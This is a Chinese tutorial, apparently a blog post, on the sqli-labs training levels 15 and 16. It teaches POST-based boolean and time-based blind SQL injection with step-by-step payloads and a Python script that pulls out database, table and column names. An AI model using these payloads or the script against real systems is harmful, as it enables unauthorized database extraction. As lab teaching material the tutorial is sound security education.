目录
【sql靶场】第15、16关-post提交盲注保姆级教程
关卡讲解前回顾小知识,不看可以跳过,如果还不太会报错注入建议看sql靶场5-6关(报错注入)保姆级教程_sql-labs第5关bp抓包跟hachbar-CSDN博客
1.知识回顾
GET请求
数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)。
受URL长度限制(通常≤2048字符)。
POST请求
数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login
)。
适合提交敏感信息(如密码)或大量数据(如文件上传)
提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在请求体(Body)中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入
or与and
or在语句中为或的意思,只要满足一个就可以
and在语句中为与的意思,两个都要满足
2.第十五关
1.布尔盲注的手动注入
方法一
在页面的输入框直接进行注入,使用的注释符#,不能使用#
方法二
使用BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交
在这里的注入注释符#与#都可以
打开重发器,复制到,发送,输入目标IP与端口,响应
个人建议使用BurpSuite,因为可以清楚看见自己的注入,如果出现错误比较好检查,也比较好修改,而在页面的输入框直接注入,第一由于输入框的大小限制,很影响注入语句的输入与观看,第二输入提交后注入语句会变成空,如果报错很难检查与修改错误
如果没有BurpSuite,可以观看Burp Suite Professional的下载安装与使用-CSDN博客
1.判断
布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入
在这里注入要注意一个点,如果不知道用户名就使用or进行连接,这样只要后面的判断语句正确就会返回成功的页面;如果要使用and,就需要前面的用户名与后面的判断语句一起为真才可以
可以通过下面语句判断
1' or '1'='1'# 1' or '1'='2'#
2.数据库名长度
手动进行布尔盲注十分麻烦,首先先要注入出名字的长度
1' or (select length(database())>8) # 1' or (select length(database())>6) #
3.数据库名字符
一般名字命名的字符是在32-128之间,所以测试一般在里面测试
可以用二分法进行测试,太多了选择几个
1' or ((select ascii(substr(database(),1,1)))>80) # 1' or ((select ascii(substr(database(),1,1)))>104) # 1' or ((select ascii(substr(database(),1,1)))>116) # 1' or ((select ascii(substr(database(),1,1)))>110) # 1' or ((select ascii(substr(database(),1,1)))>113) # 1' or ((select ascii(substr(database(),1,1)))>114) #
最后确定是ASCLL是115,对照ASCLL是字符s
剩下的也这样一个一个慢慢的注入出来
4.表名数
注入出数据库名后再去注入表名与字段名
由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量
1' or (select count(*) from information_schema.tables where table_schema=database()) > 3# 1' or (select count(*) from information_schema.tables where table_schema=database()) > 5#
表名数为4
5.表名长度
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 # 1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 #
结果是第一个表的名字长度为7
6.表名符
1' or (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) #
7.字段数
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 # 1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>3 #
结果是3个字段数
8.字段长度
1' or (select length(column_name) from information_schema.columns where table_schema= 'security' or table_name='users' limit 1,1)>6 #
9.字段符
1' or (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' or table_name='users' limit 0,1),1,1))>32) #
2.布尔盲注的脚本注入
import requests def inject_database(url): name = '' # 初始化空字符串,存储最终数据库名 for i in range(1, 100): # 遍历字符位置(假设数据库名最长99字符) low = 32 # ASCII可打印字符起始值(空格) high = 128 # ASCII结束值(DEL字符,实际只用到127) mid = (low + high) // 2 # 二分法初始中间值 while low < high: # 二分查找当前字符的ASCII值 data = { "uname" : "1' or ascii(substr(database(),%d,1))>%d#" % (i, mid), "passwd" : 'aaaaa' } r = requests.post(url, data=data) if 'flag.jpg' in r.text: low = mid + 1 # 当前字符ASCII值 > mid,调整下限 else: high = mid mid = (low + high) // 2 if mid == 32: # 若mid为32(空格),终止循环 break name = name + chr(mid) # 将ASCII转为字符并拼接 print(name) # 实时输出当前结果 if __name__ == "__main__": url = "http://127.0.0.1:8080/sqli-labs-master/Less-8/index.php" # 网站地址,千万千万注意网址一定要是自己搭建的sql网址,不能用我的,否则无法使用 inject_database(url) # 包含网站
3.时间注入的手动注入
1.判断
当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化
2.确认时间盲注
使用的语法有:IF(condition, value_if_true, value_if_false)
测试是否存在时间盲注即闭合方式
这里我尝试过使用or的连接,但是不行,于是我使用了and连接方式
admin' AND IF(1=1, SLEEP(5), 0) #
3.数据库名长度
admin' and if(length(database())>8,sleep(5),1)# admin' and if(length(database())>6,sleep(5),1)#
4.数据库名字符
一般名字命名的字符是在32-128之间,所以测试一般在里面测试
可以用二分法进行测试,太多了选择几个
admin'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)# admin'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)# admin'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)# admin'and if(ascii(substr((select database()),1,1))>110,sleep(5),1)# admin'and if(ascii(substr((select database()),1,1))>114,sleep(5),1)#
5.表名数
注入出数据库名后再去注入表名与字段名
由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量
admin'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)# admin'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)#
表名数为4
6.表名长度
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)# admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)#
结果是第一个表的名字长度为7
7.表名符
admin'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)#
8.字段数
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)# admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)#
结果是3个字段数
9.字段长度
admin'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)#
10.字段符
admin'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)#
4.时间注入的脚本注入
3.第十六关
这一关的闭合方式为") 剩下的基本与第十五关一样